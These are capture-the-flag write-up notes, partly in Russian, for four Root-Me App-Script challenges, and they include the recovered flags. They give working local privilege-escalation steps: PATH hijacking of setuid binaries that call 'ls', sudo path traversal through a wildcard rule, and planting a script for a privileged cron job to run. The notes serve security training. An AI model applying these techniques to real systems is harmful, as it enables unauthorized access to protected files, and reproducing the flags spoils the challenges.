# Root ME
## https://www.root-me.org/en/Challenges/App-Script/ELF32-System-1
* echo $PATH
`/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/opt/tools/checksec/`
* find / -type d -writable 2> /dev/null
Смотрим куда можно записывать
* cat ch11.c
```
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setreuid(geteuid(), geteuid());
system("ls /challenge/app-script/ch11/.passwd");
return 0;
}
```
ls лс вызванна не явно
* cp /bin/cat /var/tmp/ls
копируем кат и преименовываем в лс
* export PATH=/var/tmp/:$PATH
создаем переменную в патч, так как будет из-за не явного вызова ls искать переменные слева на право и где найдет там и вызовет
* ./ch11
!oPe96a/.s8d5
## https://www.root-me.org/en/Challenges/App-Script/sudo-weak-configuration
* cat readme.md
```
Vous devez réussir à lire le fichier .passwd situé dans le chemin suivant :
/challenge/app-script/ch1/ch1cracked/
You have to read the .passwd located in the following PATH :
/challenge/app-script/ch1/ch1cracked/
```
* sudo -l
```
Matching Defaults entries for app-script-ch1 on challenge02:
env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
!mail_always, !mail_badpass, !mail_no_host, !mail_no_perms, !mail_no_user
User app-script-ch1 may run the following commands on challenge02:
(app-script-ch1-cracked) /bin/cat /challenge/app-script/ch1/notes/*
```
* sudo -u app-script-ch1-cracked /bin/cat /challenge/app-script/ch1/notes/../ch1cracked/.passwd
b3_c4r3ful_w1th_sud0
## https://www.root-me.org/en/Challenges/App-Script/ELF32-System-2
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setreuid(geteuid(), geteuid());
system("ls -lA /challenge/app-script/ch12/.passwd");
return 0;
}
* cp /usr/bin/vim /tmp/ls
* export PATH=/tmp/:$PATH
* ./ch12
#T_e*/SDe59a
vim -lA так как эти аргументы переворачивают содержимое
8a95eDS/*e_T#
## https://www.root-me.org/en/Challenges/App-Script/Bash-cron
cat ch4 (файл с пояснениями от Sergey Yazikov )
```
#!/bin/bash
# Sortie de la commande 'crontab -l' exécutée en tant que app-script-ch4-cracked:
# */1 * * * * /challenge/app-script/ch4/ch4
# Vous N'avez PAS à modifier la crontab(chattr +i t'façons)
# Output of the command 'crontab -l' run as app-script-ch4-cracked:
# */1 * * * * /challenge/app-script/ch4/ch4
# You do NOT need to edit the crontab (it's chattr +i anyway)
# hiding stdout/stderr
exec 1>/dev/null 2>&1
wdir="cron.d/"
# переходит в каталог ~/
challdir=${0%/*}
cd "$challdir"
# проверка на наличие каталога, если его нет - создаем и даём права
if [ ! -e "/tmp/._cron" ]; then
mkdir -m 733 "/tmp/._cron"
fi
# каждый файл в директории 'cron.d/'
ls -1a "${wdir}" | while read task; do
#проверяем на сущетвование и возможность запуска
#-f exits and regular
#-a &&
#-x runnable
if [ -f "${wdir}${task}" -a -x "${wdir}${task}" ]; then
#если проверка успешна запускаем файл с ограничением времени работы - 5 сек
timelimit -q -s9 -S9 -t 5 bash -p "${PWD}/${wdir}${task}"
fi
#удаляем запущенный файл
rm -f "${PWD}/${wdir}${task}"
done
#отчищаем каталог 'cron.d/'
rm -rf cron.d/*
```
* app-script-ch4@challenge02:~$ rm -rf cron.d/* (удаляем все задания)
* app-script-ch4@challenge02:~$ ls /dev/pts
0 1 2 3 4 5 6 7 ptmx
* app-script-ch4@challenge02:~$ set | grep /dev/pts
SSH_TTY=/dev/pts/2 (будем использовать2-ю ссылку)
_=/dev/pts
* app-script-ch4@challenge02:~$ chmod o+w /dev/pts/2
* app-script-ch4@challenge02:~$ vim cron.d/script.sh (создаем файл)
```
#!/bin/bash
/bin/cat /challenge/app-script/ch4/.passwd > /dev/pts/2
```
* app-script-ch4@challenge02:~$ chmod o+rx cron.d/script.sh
* app-script-ch4@challenge02:~$ cron
cron: can't open or create /var/run/crond.pid: Permission denied
* app-script-ch4@challenge02:~$ Vys3OS3iStUapDj